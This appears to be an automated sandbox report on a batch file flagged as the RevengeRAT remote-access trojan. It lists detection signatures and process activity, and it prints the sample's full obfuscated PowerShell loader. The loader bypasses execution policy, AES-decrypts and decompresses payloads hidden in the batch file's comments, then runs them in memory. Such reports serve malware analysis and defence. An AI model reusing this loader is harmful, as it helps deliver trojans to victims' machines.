Analysis
- max time kernel
212s - max time network
282s - platform
windows11-21h2_x64 - resource
win11-20240426-en - resource tags
- submitted
07/05/2024, 23:33
General
- Target e.bat
- Size 44KB
- Sample240507-3jxfdsha68
- SHA256 37b0b89c32bdfc98d314b0a6d00daf241153b3a1b271bf53f94a9501b414888c
Score
10/10
Malware Config
Extracted
Family
-
revengerat
Mutex
Signatures
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- RevengeRat Executable 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+m5bSAn8eJD0lr47p6am+sY1xMe4NKwz9ovylrf9Q+4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3utcL1g8iB2ZnNRxP87v2w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sslns=New-Object System.IO.MemoryStream(,$param_var); $zcMIu=New-Object System.IO.MemoryStream; $Sdsrb=New-Object System.IO.Compression.GZipStream($sslns, [IO.Compression.CompressionMode]::Decompress); $Sdsrb.CopyTo($zcMIu); $Sdsrb.Dispose(); $sslns.Dispose(); $zcMIu.Dispose(); $zcMIu.ToArray();}function execute_function($param_var,$param2_var){ $hfeKy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $AULgu=$hfeKy.EntryPoint; $AULgu.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\e.bat';$YgbWp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\e.bat').Split([Environment]::NewLine);foreach ($xtdSY in $YgbWp) { if ($xtdSY.StartsWith(':: ')) { $OrjGq=$xtdSY.Substring(3); break; }}$payloads_var=[string[]]$OrjGq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_4af4dizp.kih.ps1
memory/3480-0-0x00007FFAFD413000-0x00007FFAFD415000-memory.dmp
memory/3480-6-0x0000021843780000-0x00000218437A2000-memory.dmp
memory/3480-10-0x00007FFAFD410000-0x00007FFAFDED2000-memory.dmp
memory/3480-11-0x00007FFAFD410000-0x00007FFAFDED2000-memory.dmp
memory/3480-12-0x00007FFAFD410000-0x00007FFAFDED2000-memory.dmp
memory/3480-13-0x0000021843A10000-0x0000021843A18000-memory.dmp
memory/3480-15-0x0000021843A30000-0x0000021843A38000-memory.dmp
memory/3480-14-0x0000021843A20000-0x0000021843A2A000-memory.dmp
memory/3480-18-0x00007FFAFD410000-0x00007FFAFDED2000-memory.dmp